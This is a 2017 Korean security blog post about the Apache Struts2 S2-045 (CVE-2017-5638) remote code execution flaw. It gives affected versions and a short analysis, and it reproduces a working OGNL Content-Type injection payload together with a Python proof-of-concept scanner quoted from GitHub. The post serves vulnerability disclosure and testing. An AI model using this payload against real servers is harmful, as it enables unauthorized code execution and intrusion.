3/09/2017

[WEB HACKING] Apache Struts2 Remote Code Execute Vulnerability(CVE-2017-5638, S2-045)

올해도 어김없이 Apache Struts2 관련 취약점이 공개되었습니다.
요즘 DCCP Double free 취약점을 천천히 보고있는 상황인데 급히 Struts 정리해서 포스팅하게 되네요.

현재 CVE-2017-5638, S2-045로 올라와 있습니다.


Vulnerable Version

Apache Struts 2.3.5 ~ 2.3.31
Apache Struts 2.5 ~ 2.5.10

Check the Struts2 Version

일단 쉽게 Struts2 의 버전을 확인하기 위해서는 WEB-INF Directory 내 JAR 파일 struts2-core 내 포함된 MANIFEST.MF 파일을 봅니다.  Bundle-Version 에 버전에 대한 정보가 들어있지요.

Vulnerability Analysis

이번 Struts2 취약점은 Content-Type 부분 파싱 중 검증이 잘 되지 않아서 발생한 문제입니다.
diff 구간이랑 코드를 직접 보진 않아 아직 원인은 파악이 안되나 PoC 코드를 보면 아래와 같은 코드를 Content-Type 헤더에 붙여서 나가는 걸 알 수 있습니다. 아마.. 타입 관련해서 분기하거나 비교하는 구문에서 탈출하여 직접 코드를 호출 한 것 같네요.

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}



이 부분은 정보 좀 수집하고 코드단 확인하면 추가로 작성하도록 하겠습니다.

PoC

현재 github 내 python 기반의 poc 코드가 올라와있고, 앞으로 계속 여러 언어로 포팅되어 올라올 것 같네요.

https://github.com/tengzhangchao/Struts2_045-Poc


import requests
import sys
def poc(url):
    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
    headers = {}
    headers["Content-Type"] = payload
    r = requests.get(url, headers=headers)
    if "105059592" in r.content:
        return True

    return False

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "python s2-045.py target"
        sys.exit()
    if poc(sys.argv[1]):
        print "vulnerable"
    else:
        print "not vulnerable"


아주 간단한 코드입니다. 코드 실행으로 102*102*102*99 처리 값을 출력하고 105059592가 정상적으로 나왔는지 확인합니다.

102*102*102*99 = 105059592

Reference

https://github.com/tengzhangchao/Struts2_045-Poc
https://cwiki.apache.org/confluence/display/WW/S2-045


HAHWUL

Security engineer, Gopher and H4cker!

Share: | Coffee Me:

2 comments:

  1. CVE-2016-0785(Struts2 RCE): http://www.hahwul.com/2016/04/web-hacking-apache-struts2-recremote.html
    CVE-2016-3081(Struts2 DMI RCE): http://www.hahwul.com/2016/05/web-hacking-apache-struts2-dmi.html

    ReplyDelete
  2. 빠르게 올리셨었군요. 항상 잘 보고갑니다. 감사합니다.

    ReplyDelete